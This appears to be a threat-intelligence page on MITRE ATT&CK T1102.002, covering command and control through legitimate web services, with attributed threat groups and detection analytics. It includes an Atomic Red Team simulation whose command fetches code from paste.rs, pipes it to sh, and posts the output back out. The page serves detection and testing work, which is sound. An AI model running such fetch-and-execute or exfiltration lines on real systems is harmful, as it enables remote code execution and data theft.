tfMITRE ATT&CK sub-technique

Bidirectional Communication T1102.002

Tactic: Command and Control
Platforms: ESXi, Linux, macOS, Windows
Version: 1.1
Created: 14 March 2020
Last modified: 12 May 2026

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 11%

Threat groups89th percentile · 89% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 10%

Tools & malware90th percentile · 90% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules67th pct

Detection rules67th percentile · 67% of ATT&CK techniques have this many detection rules written or fewer.

Bidirectional Communication MITRE reference T1102.002

Top 11%of all ATT&CK techniques for number of groups

16 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

POLONIUMG1005 ↗

Has used OneDrive and DropBox for C2.1

created 2022-07-011 referenceaka Plaid Rain

ZIRCONIUMG0128 ↗

Has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.1 2

created 2021-03-242 referencesaka APT31

KimsukyG0094 ↗

Has used Blogspot pages and a Github repository for C2.1 2 Kimsuky has also leveraged Dropbox for downloading payloads and uploading victim system information.3

created 2019-08-263 referencesaka Black Banshee

APT39G0087 ↗

Has communicated with C2 through files uploaded to and downloaded from DropBox.1

created 2019-02-191 referenceaka ITG07

HEXANEG1001 ↗

Has used cloud services, including OneDrive, for C2.1

created 2018-10-171 referenceaka Lyceum

APT37G0067 ↗

Leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.1 2

created 2018-04-182 referencesaka InkySquid

All 16 groups for this technique · 6 newest in this preview

Offense vs defense T1102.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 4Splunk ESCU (cumulative) · 2

first rule: 2018 Q2 · 2 of 2 campaigns plotted

Bidirectional Communication detection strategy DET0035

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Bidirectional Web Service C2 Channels via Process & Network Correlation

Enterprise

3 platforms

AN0100 · Windows

Suspicious processes initiating encrypted HTTPS connections to common web service domains, followed by abnormal data upload behavior or automated posting behavior indicative of C2 bidirectional traffic.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	etw:Microsoft-Windows-WinINet	HTTPS Inspection

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Timeframe for evaluating multiple network connections tied to the same process
DomainPattern	Regex or string patterns used to identify common Web service infrastructure (e.g., *.googleapis.com)
PayloadSizeThreshold	Minimum data upload size before flagging anomaly
ProcessNameExclusionList	Known benign updaters or service processes to reduce false positives

AN0101 · Linux

Non-interactive system processes making encrypted HTTPS connections to well-known web services followed by high outbound traffic volume or scripted upload patterns.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Network Traffic FlowDC0078	NSM:Flow	conn.log
Network Traffic ContentDC0085	NSM:Flow	ssl.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UploadDirectionality	Bias detection toward sessions with larger upload vs download volume
HostnameRegexList	List of known public Web services used for dead drops or C2 (e.g., GitHub, Twitter)
ScriptParentName	Shell interpreter or automated job parent used for filtering (e.g., /usr/bin/python)

AN0102 · macOS

Scripting engines (e.g., osascript, Python) initiating HTTPS requests to social media or content-sharing platforms, paired with automated response handling indicative of two-way communication.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	log stream --info --predicate 'subsystem == "com.apple.cfprefsd"'
Network Connection CreationDC0082	NSM:Connections	web domain alerts

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ScriptEngineList	Scripting interpreters to monitor for unusual HTTP traffic (e.g., osascript, ruby, bash)
SocialMediaDomainPatterns	Patterns or domains used for C2 dead drops and responses (e.g., pastebin.com, twitter.com)
BurstConnectionRate	Threshold for number of short-lived HTTPS connections in a short window

Tests1Executorssh 1Need elevation0 of 1Have prerequisites0Have cleanup0Platformslinux

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Bidirectional C2 Simulation via paste.rs (sh)

linux

—

This test replicates a full bidirectional C2 flow using the public paste.rs service...

Input arguments

Name	Type	Default	Description
safe_command	string	echo Simulated host discovery output	Command to stage and execute (safe text only)
paste_service	string	https://paste.rs	Base URL of the pastebin-like service

Attack command

STAGE_URL=$(curl -s -X POST -d "#{safe_command}" "#{paste_service}")
echo "Command staged at: $STAGE_URL"
OUTPUT=$(curl -s "$STAGE_URL" | sh 2>&1)
echo "Fetched and executed command. Output: $OUTPUT"
EXFIL_URL=$(echo "$OUTPUT" | curl -s -X POST --data-binary @- "#{paste_service}")
echo "Results exfiltrated to: $EXFIL_URL"
echo "--- Attacker sees ---"
curl -s "$EXFIL_URL"

GUID51707f9a-d74e-402c-8211-54942785e162

Tests from Atomic Red Team (MIT licence) · technique definition

Bidirectional Communication detections T1102.002

6 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

67th pctamong all ATT&CK techniques for number of rules

Product

(none) 2

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs